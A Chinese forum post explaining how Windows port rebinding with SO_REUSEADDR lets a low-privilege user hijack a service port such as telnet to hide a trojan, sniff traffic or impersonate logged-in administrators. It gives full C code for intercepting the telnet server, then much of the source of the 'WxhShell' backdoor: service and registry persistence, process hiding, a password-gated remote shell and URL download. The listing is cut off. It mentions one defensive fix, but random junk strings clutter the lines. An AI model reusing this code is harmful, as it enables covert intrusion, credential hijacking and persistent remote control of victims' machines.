社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12523阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [Nbs{f^J=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *cz nokq6  
-61{ MMiA  
  saddr.sin_family = AF_INET; _TY9!:&}q  
/J )MW{;O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A-Be}A  
3&:Us| }  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l8 k@.<nCO  
?j9J6=2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '!^5GSP3&  
@(M-ZO!D  
  这意味着什么?意味着可以进行如下的攻击: cw|3W]  
{z> fe }  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S#_g/3w  
;NQ9A &$)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9z6-HZG'~<  
 u:JD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T1 >xw4uo  
?XN=Er^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8'[g?  
}5 ^2g!M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gpDH_!K  
y:u7*%"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o.W:R Ux  
>?>@&A/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Lgp{  hK  
OV/H&fe  
  #include w#mnab@  
  #include 'ol8lIa.P  
  #include W|h~&O  
  #include    l\g>@b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G(gJt l  
  int main() m_YXTwwx  
  { rYez$e^r  
  WORD wVersionRequested; m1H|C3u8  
  DWORD ret; +9Q,[)e r  
  WSADATA wsaData; 3kfrOf.4h  
  BOOL val; NV\t%/ ?  
  SOCKADDR_IN saddr; N$]B$vv  
  SOCKADDR_IN scaddr; ehCGu( =  
  int err; )N$T&  
  SOCKET s; Nc;cb  
  SOCKET sc; d1CQ;,Df<  
  int caddsize; @9#l3  
  HANDLE mt; c IK  
  DWORD tid;   %d?.v_Hu0  
  wVersionRequested = MAKEWORD( 2, 2 ); S;@nPzhc  
  err = WSAStartup( wVersionRequested, &wsaData ); vDI$ QUMD6  
  if ( err != 0 ) { &?X0;,5)  
  printf("error!WSAStartup failed!\n"); BwOIdz%]OY  
  return -1; 1.Kun !w  
  } ayF+2(vch)  
  saddr.sin_family = AF_INET; xb{G:v  
   r+ v?~m!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {<ms;Oi'  
p1t qwV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DR]=\HQ  
  saddr.sin_port = htons(23); >D]g:t@v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]90BIJ]*c  
  { s1 mKz0q  
  printf("error!socket failed!\n"); ((0nJJjz  
  return -1; +/O3L=QyJ  
  } (U@Ks )  
  val = TRUE; :Kq]b@ X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9r2l~zE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .cks ){\  
  { Iu" 7  
  printf("error!setsockopt failed!\n"); IQZ/8UwB  
  return -1; o6bT.{8\  
  } }jE [vVlRw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OHRkhwF.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d{/#A%.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |WP}y- Au  
Xz,fjKUnN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W*2d!/;7>  
  { #hMS?F|  
  ret=GetLastError(); z|Y  Ms?  
  printf("error!bind failed!\n"); P{m(.EC_  
  return -1; ;f?suawMv  
  } ZLI t 3  
  listen(s,2); ' % d-  
  while(1) ~fnu;'fN  
  { _v6x3 Z  
  caddsize = sizeof(scaddr); TXL!5, X_  
  //接受连接请求 m&MAA^I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jouA ]E  
  if(sc!=INVALID_SOCKET) &&PXWR!%]  
  { lcVZ 32MQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uH{oJSrK  
  if(mt==NULL) .9NYa|+0  
  { n2A ; `=  
  printf("Thread Creat Failed!\n"); iW%~>`tT  
  break; OsT|MX  
  } /SW*y@R2l  
  } '3|fv{I  
  CloseHandle(mt); { )g $  
  } S( ^HIJK  
  closesocket(s); MCO2(E-  
  WSACleanup(); Xb<>AzEM  
  return 0; 7Is:hx|:  
  }   ]9 $iUA%Ef  
  DWORD WINAPI ClientThread(LPVOID lpParam) a^o'KN{  
  { LvqWA}  
  SOCKET ss = (SOCKET)lpParam; )FpizoVq0  
  SOCKET sc; a%nf )-}|  
  unsigned char buf[4096]; q0C%">>1 #  
  SOCKADDR_IN saddr; d/Sw.=vq  
  long num; @WCA 7DW!  
  DWORD val; }]i.z:7+  
  DWORD ret; FG!2h&k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |:w)$i& *  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^UCH+C yl  
  saddr.sin_family = AF_INET; H)k V8wU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QHXA?nBX  
  saddr.sin_port = htons(23); d{J@A;d a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +)hxYLk&I  
  { uf^HDr r<L  
  printf("error!socket failed!\n"); `r'$l<(4WV  
  return -1; =`ZRPA!aY  
  } hmkm^2  
  val = 100; ,njlKkFw^Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >[2;  
  {  j iejs*  
  ret = GetLastError(); S6g_$ Q7  
  return -1; ?$K.*])e  
  } YK\pV'&+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j1rR3)oP  
  { q|{z9V<  
  ret = GetLastError(); 4/ WKR3X  
  return -1; /\{emE\]  
  } ?9;CC]D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lc8g$Xw3  
  { %*NED zy  
  printf("error!socket connect failed!\n"); -7KoR}Ck!  
  closesocket(sc); P;`Awp?  
  closesocket(ss); jF-:e;-  
  return -1; 9}wI@  
  } 43 vF(<r&f  
  while(1) ..kFn!5(g  
  { OqWm5(u&S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8@[S,[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9 JhCSw-<)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u`ry CZo#g  
  num = recv(ss,buf,4096,0); k;B[wEW@  
  if(num>0) ]$u C~b   
  send(sc,buf,num,0); + ZK U2N*  
  else if(num==0) jOU99X\0  
  break; ;X^#$*=Q  
  num = recv(sc,buf,4096,0); OxPl0-]t  
  if(num>0) &) 64:l&  
  send(ss,buf,num,0); &:&~[4>%a  
  else if(num==0) @j!(at4B  
  break; 4fIjVx  
  } >8ryA$  
  closesocket(ss); 'QQq0.  
  closesocket(sc); xG;;ykh.]  
  return 0 ; P!"{-m'  
  } Q*Y-@lZ  
:c|Om{;  
\HIBnkj)3n  
========================================================== !?>QN'p.b  
8_E(.]U  
下边附上一个代码,,WXhSHELL twu,yC!  
XG*> yra`  
========================================================== qyxd9Lk1  
Gy[anDE&  
#include "stdafx.h" D>8p: ^3g  
`KtP ;nG  
#include <stdio.h> .*f 6n|  
#include <string.h> ?em8nZ'  
#include <windows.h> _9]vlxgtG(  
#include <winsock2.h> -wrVEH8  
#include <winsvc.h> Qd~z<U l  
#include <urlmon.h> \vJ0Mhk1  
S6}_N/;6~  
#pragma comment (lib, "Ws2_32.lib") '}9 Nvr)+  
#pragma comment (lib, "urlmon.lib") 7H09\g&  
EjFn\|VK  
#define MAX_USER   100 // 最大客户端连接数 ",&QO 7_  
#define BUF_SOCK   200 // sock buffer F b?^+V]9  
#define KEY_BUFF   255 // 输入 buffer S]ayH$w\Q  
,oUzaEX  
#define REBOOT     0   // 重启 Z.&/,UU:4  
#define SHUTDOWN   1   // 关机 ]tXIe?>9  
`<|tC#<z  
#define DEF_PORT   5000 // 监听端口 \gA<yz-;N  
0zA;%oP  
#define REG_LEN     16   // 注册表键长度 ilde<!?  
#define SVC_LEN     80   // NT服务名长度 ImG8v[Q E  
hsQDRx%H}  
// 从dll定义API ht*(@MCr<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \i/HHP[%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~&<t++ g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =.7tS'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EcL6lNTR+  
.8Bu%Sf  
// wxhshell配置信息 9tU"+  
struct WSCFG { O Bcz'f~  
  int ws_port;         // 监听端口 <$yA*  
  char ws_passstr[REG_LEN]; // 口令 `u}_O(A1pA  
  int ws_autoins;       // 安装标记, 1=yes 0=no mZ2CG O R  
  char ws_regname[REG_LEN]; // 注册表键名 :{N*Z}]  
  char ws_svcname[REG_LEN]; // 服务名 U#c Gd\b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'iF%mnJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f] #\&"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u178vby;l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ovc9x\N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JH{/0x#+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "5L?RkFi\  
$cIaLq  
}; A"ATtid  
nhdZC@~E0  
// default Wxhshell configuration -N% V5 TN  
struct WSCFG wscfg={DEF_PORT, hcj]T?  
    "xuhuanlingzhe", 6i-G{)=l  
    1, T 5Zh2Q@  
    "Wxhshell", +Eh.PWEe  
    "Wxhshell", bS;_xDXd  
            "WxhShell Service", McN[  
    "Wrsky Windows CmdShell Service", r}&&e BY f  
    "Please Input Your Password: ", FJDC^@Ne  
  1, J{^md0l  
  "http://www.wrsky.com/wxhshell.exe", Mib .,J~  
  "Wxhshell.exe" eM_;rMCr}  
    }; [:.wCG5  
|,p"<a!+{w  
// 消息定义模块 @]%eL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; triU^uvh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <zR{'7L/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X+ITW#  
char *msg_ws_ext="\n\rExit."; 2zqaR[C  
char *msg_ws_end="\n\rQuit."; l>K+4  
char *msg_ws_boot="\n\rReboot..."; cN0 *<  
char *msg_ws_poff="\n\rShutdown..."; 1R3,Z8j'  
char *msg_ws_down="\n\rSave to "; !DzeJWM|  
ru@#s2  
char *msg_ws_err="\n\rErr!"; PkrVQH9^w  
char *msg_ws_ok="\n\rOK!"; 9:4S[mz/hD  
w.w{L=p:<"  
char ExeFile[MAX_PATH]; x)*Lu">  
int nUser = 0; 72d|Jbd  
HANDLE handles[MAX_USER]; &RYdSXM  
int OsIsNt; V\Gs&>  
@JXpD8jn  
SERVICE_STATUS       serviceStatus; O\.^H/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %h@1lsm1+  
F| eWHw?t  
// 函数声明 'KA$^  
int Install(void); 4?1Qe\A^  
int Uninstall(void); '";#v.!  
int DownloadFile(char *sURL, SOCKET wsh); ?).;cG:<  
int Boot(int flag); ?)|}gr  
void HideProc(void); <4LJ #Fx  
int GetOsVer(void); z )'9[t  
int Wxhshell(SOCKET wsl); h40;Q<D  
void TalkWithClient(void *cs); sko7,&  
int CmdShell(SOCKET sock); ,)Q-o2(C  
int StartFromService(void); P !i_?M  
int StartWxhshell(LPSTR lpCmdLine); ;Y\LsmZ;F  
"G [Nb:,CR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wHbkF#[:i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wx*?@f>u^  
Q"dq_8\`U  
// 数据结构和表定义 It[51NMal  
SERVICE_TABLE_ENTRY DispatchTable[] = c'i5,\ #X  
{ gSwV:hm  
{wscfg.ws_svcname, NTServiceMain}, fgd2jr 3T  
{NULL, NULL} x|a&wC2,{  
}; VkFh(Br<{  
Z?{\34lPj  
// 自我安装 ot<d FvD  
int Install(void) p[JIH~nb  
{ AOZ C D{  
  char svExeFile[MAX_PATH]; DLrV{8%W  
  HKEY key; E xhih^[_  
  strcpy(svExeFile,ExeFile); MvpJ0Y (  
RG{T\9]n  
// 如果是win9x系统,修改注册表设为自启动 9s^$tgH  
if(!OsIsNt) { QMBT8x/+_'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bFX{|&tHU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KAClV%jP  
  RegCloseKey(key); qR'FbI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !b+4[ xky  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zu.hcDw1  
  RegCloseKey(key); ,!l_  
  return 0; :|s8v2am  
    } zG#5lzIu,  
  } F,Q;sq  
} eL SzGbKf  
else { ~pRgTXbz  
#SHeK 4  
// 如果是NT以上系统,安装为系统服务 K5qCPt`'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JJd qdX;  
if (schSCManager!=0) }n==^2  
{ wtek5C^  
  SC_HANDLE schService = CreateService \Osu1]Jn>  
  ( ==[=Da~  
  schSCManager, ZRxOXt&;  
  wscfg.ws_svcname, ?$6H',u  
  wscfg.ws_svcdisp, U*[E+Uq}:N  
  SERVICE_ALL_ACCESS, J,?#O#j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \EfX3ghPI  
  SERVICE_AUTO_START, 49MEGl;K0\  
  SERVICE_ERROR_NORMAL, F"] P|   
  svExeFile, ~(V\.hq  
  NULL, G]>yk_#/\U  
  NULL, zL yI|%KH  
  NULL, *&I>3;~%^}  
  NULL, n)kbQ]  
  NULL xG/Q%A  
  ); J{ju3jo  
  if (schService!=0) ]j3>=Jb;  
  { 13s/m&  
  CloseServiceHandle(schService); w ~*@TG  
  CloseServiceHandle(schSCManager); H.ZIRt !RB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^&?,L@fW  
  strcat(svExeFile,wscfg.ws_svcname); gyvrQ, u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,0! 2x"Q=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v1:.t  
  RegCloseKey(key); +yP!7]  
  return 0; uxf,95<g)  
    } $.jG O!  
  } X+;[Gc}(W  
  CloseServiceHandle(schSCManager); ?Zb+xNKJ(  
} 3NpB1lgh&:  
} W"Ip]LJ  
>38>R0k35  
return 1; |R9Lben',  
} ~*iF`T6  
e#C v*i_<  
// 自我卸载 zgAU5cw  
int Uninstall(void) (GmBv  
{ ^ j\LB23  
  HKEY key; }emUpju<C  
7_\sx7h{3  
if(!OsIsNt) { Yj&Sb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e"04jd/  
  RegDeleteValue(key,wscfg.ws_regname); 9[.HWe,  
  RegCloseKey(key); { ptd OrN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1b9S";ct0  
  RegDeleteValue(key,wscfg.ws_regname); ^+m`mcsE  
  RegCloseKey(key); LE8<JMB  
  return 0; *kLFs|U  
  } /L^g. ~  
} +Ryj82;59z  
} G WIsT\J  
else { ;b{#$#`=  
]pR?/3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); arL>{mj  
if (schSCManager!=0) 7H3v[ f^Q  
{ _N`.1Dl%Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Y~t{5NJR  
  if (schService!=0) DhM=q  
  { Z 8rD9 k$6  
  if(DeleteService(schService)!=0) { xWG@<}H  
  CloseServiceHandle(schService); M|DMoi8x  
  CloseServiceHandle(schSCManager); u} mj)Nk  
  return 0; 6^b)Q(Edut  
  } :'p)xw4K|  
  CloseServiceHandle(schService); *J-pAN  
  } G8M~}I/)  
  CloseServiceHandle(schSCManager); 3:WqUb\QK  
} 9lYKG ^#D  
} 8oX1 F(R  
]\M{Abqd{  
return 1; VIp|U{  
} 9mi@PW}1  
] U>MYdGWb  
// 从指定url下载文件 (kxS0 ]=  
int DownloadFile(char *sURL, SOCKET wsh) o,rF15  
{ KR?;7*qF  
  HRESULT hr; !PA:#]J  
char seps[]= "/"; ^N={4'G)  
char *token; 0nwi5  
char *file; <j'K7We/tP  
char myURL[MAX_PATH]; OR@ 67Y  
char myFILE[MAX_PATH]; 9kD#'BxC  
8T3,56 >  
strcpy(myURL,sURL); g6Vkns4  
  token=strtok(myURL,seps); "|3I|#s  
  while(token!=NULL) S\:^#Yi`  
  { 1-gM)x{Jr  
    file=token; tyR?A>F4  
  token=strtok(NULL,seps); Ub3$`  
  } lM\dK)p21O  
i<ES/U\  
GetCurrentDirectory(MAX_PATH,myFILE);  V(&L  
strcat(myFILE, "\\"); *u$aItx  
strcat(myFILE, file); *Dp&;,b  
  send(wsh,myFILE,strlen(myFILE),0); %],BgLhS.  
send(wsh,"...",3,0); )O[8 D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?IGp?R^j"  
  if(hr==S_OK) x@  =p  
return 0; nd' D0<%  
else p.W7>o,[w  
return 1; oywiX@]~7  
[piK"N  
} MRpMmu  
+ f6LG 0q  
// 系统电源模块 9~UR(Ts}l  
int Boot(int flag) hCQOwk#  
{ d8wGXNd7B  
  HANDLE hToken; 8>C4w 5kF  
  TOKEN_PRIVILEGES tkp; H9T~7e+  
ko}& X=  
  if(OsIsNt) { ; <FAc R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  %j&vV>2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +-!3ruwSn  
    tkp.PrivilegeCount = 1; x]7:MG$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vl^x_gs#_]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &;$uU  
if(flag==REBOOT) { 2U./ Yfk\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =zn'0g, J4  
  return 0; dy6zrgxygP  
} B!&5*f}*  
else { !td!">r46e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :I#.d7`uk  
  return 0; VN)WBv  
} vsI;ooR>  
  } R2)@Q  
  else { C@qWour  
if(flag==REBOOT) { %wbdg&^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]O|>nTa  
  return 0; 0/ QDfA?  
} >v,X:B?+FL  
else { od!44p]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 29:2Xu i  
  return 0; sPK]:i C  
} 1sXCu|\q  
} "==c  
"W5MZ  
return 1;  hE:~~ox  
} `he# !"  
Z.${WZW  
// win9x进程隐藏模块 W1)SgiXnuy  
void HideProc(void) 0Jv6?7]LKa  
{ l4RqQ+[KA;  
'pA%lc)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P"7` :a  
  if ( hKernel != NULL ) x)?V{YAL  
  { n~0wq(8M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0s`6d;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o*$KiD  
    FreeLibrary(hKernel); V_ 6K?~j  
  } 1XN%&VR>^D  
O+-+=W  
return; fS}Eu4Xe  
} 2]fTDKh  
tM5(&cQ!d  
// 获取操作系统版本 z 4}"oQk:r  
int GetOsVer(void) *$7^.eHfdd  
{ %ZRv+}z  
  OSVERSIONINFO winfo; Z*Ffdh>*:&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :+ YHj )mN  
  GetVersionEx(&winfo); TD\TVK3P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g(P7CX+y  
  return 1; /,I?"&FWc  
  else u4lM>(3Y}  
  return 0; |e8A)xM]wC  
} ZvuY] =^3  
5^uX!_ r`  
// 客户端句柄模块 _U}|Le@ e  
int Wxhshell(SOCKET wsl) 5{-Hg[+9  
{ M0m%S:2  
  SOCKET wsh; A]"6/Lr9P  
  struct sockaddr_in client; ,GWa3.&.d  
  DWORD myID; yMW3mx301j  
-}@C9Ja[?  
  while(nUser<MAX_USER) xpa+R^D5G  
{ dZ|bw0~_!  
  int nSize=sizeof(client); 1N),k5I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T \34<+n1N  
  if(wsh==INVALID_SOCKET) return 1;  e$  
>%"TrAt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p YCMJK-H  
if(handles[nUser]==0) 4=q4_ \_T  
  closesocket(wsh); ->|eMV'd  
else ^Ip\`2^u  
  nUser++; uEPm[oyX  
  } L e~D"d8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o<b  
djf8FNnn  
  return 0; {{A=^rr%C  
} nkq{_;xp  
$I`,nN  
// 关闭 socket (6[<+j&.  
void CloseIt(SOCKET wsh) o ^w^dgJ  
{ +2E~=xX  
closesocket(wsh); ~DLxIe  
nUser--; r(]Gd`]  
ExitThread(0); U;&s=M0[  
} ;Qd'G7+  
H"+|n2E^  
// 客户端请求句柄 H|s Iw:  
void TalkWithClient(void *cs) W*H%\Y:N  
{ 6jr}l  
SFWS<H(IN  
  SOCKET wsh=(SOCKET)cs; 5UL5C:3R9  
  char pwd[SVC_LEN]; `iuQ.I  
  char cmd[KEY_BUFF]; 3 } $9./+  
char chr[1]; M|{KQ3q:9  
int i,j; TbMlYf]It  
+SV!QMIg  
  while (nUser < MAX_USER) { :^7_E&  
 K0*er  
if(wscfg.ws_passstr) { 6mZpyt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2QHu8mFU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a"O9;&}; &  
  //ZeroMemory(pwd,KEY_BUFF); g7%vI8Y)@  
      i=0; ;rJ#>7K  
  while(i<SVC_LEN) { OwC{ Ad{  
'e))i#/VF  
  // 设置超时 w#(E+s~}  
  fd_set FdRead; o) eW5s,6  
  struct timeval TimeOut; .Xta;Py|J  
  FD_ZERO(&FdRead); cCtd\/ \  
  FD_SET(wsh,&FdRead);  qzD  
  TimeOut.tv_sec=8; K(mzt[n(  
  TimeOut.tv_usec=0; C/"Wh=h6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ORo +]9)Yv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -% B)+yq>  
k<*1mS8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,J*#Ixe}  
  pwd=chr[0]; a;7gy419<p  
  if(chr[0]==0xd || chr[0]==0xa) { blV'-Al  
  pwd=0; c_?!V  
  break; S r7EcT-  
  } (>D{"}  
  i++; IOUzj{G#  
    } 2\}6b4  
.dBW{|gN  
  // 如果是非法用户,关闭 socket wW/wvC-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D>#Jh>4  
} 9&c *%mm  
>GDN~'}^oz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LrfyH"#!:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QZ-6aq\sgp  
Rm.9`<Y  
while(1) { xI=[=;L  
#5kg3OO  
  ZeroMemory(cmd,KEY_BUFF); 5o~AUo{  
``?Z97rH  
      // 自动支持客户端 telnet标准   cMt , 80  
  j=0; ~i@Z4t j7  
  while(j<KEY_BUFF) { (P:.@P~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VN4H+9E  
  cmd[j]=chr[0]; IW|1)8d  
  if(chr[0]==0xa || chr[0]==0xd) { [VB\ T|$  
  cmd[j]=0; 6v -2(Y  
  break; `_e1LEH  
  } $uNYus^vS  
  j++; }WkR-5N  
    } bDcWPwe  
bO{wQ1)Z_  
  // 下载文件 o@\q6xl.  
  if(strstr(cmd,"http://")) { mK7egAo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^nL_*+V`f  
  if(DownloadFile(cmd,wsh)) wmS:*U2sc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $VE=sS.  
  else == i?lbj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dJg72?"ka  
  } 0SLn0vD!  
  else { EEp,Z`  
`Axn  
    switch(cmd[0]) { ab5z&7Re6  
  {wf e!f  
  // 帮助 [.iz<Yh  
  case '?': { oxm3R8 S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hz+x)M`Y  
    break; B8G1 #V_jK  
  } mm<rdo(`  
  // 安装 ?To r)>A'  
  case 'i': { ~4tu*\P  
    if(Install()) j.rJfbE|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$>m`r  
    else VJ(#FA2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); of:xj$dQ_  
    break; E^jb#9\R  
    } [<{+tAdn)  
  // 卸载 '.DFyHsq  
  case 'r': { ~lLIq!!\  
    if(Uninstall()) ugt|'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9Nq^+  
    else Yf(QU`w_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Go_~8w0<  
    break; )Wm:Ilq  
    } DbkKmv&  
  // 显示 wxhshell 所在路径 %,*{hhfu  
  case 'p': { /e}NZo{)g  
    char svExeFile[MAX_PATH]; p[%FH?  
    strcpy(svExeFile,"\n\r"); [& &9F};  
      strcat(svExeFile,ExeFile); P\CT|K'P  
        send(wsh,svExeFile,strlen(svExeFile),0); dAcy;-[[P  
    break; ',p`B-dw  
    } 5zF7yvS.w  
  // 重启 vJfex,#lv  
  case 'b': { t1YVE%`w  
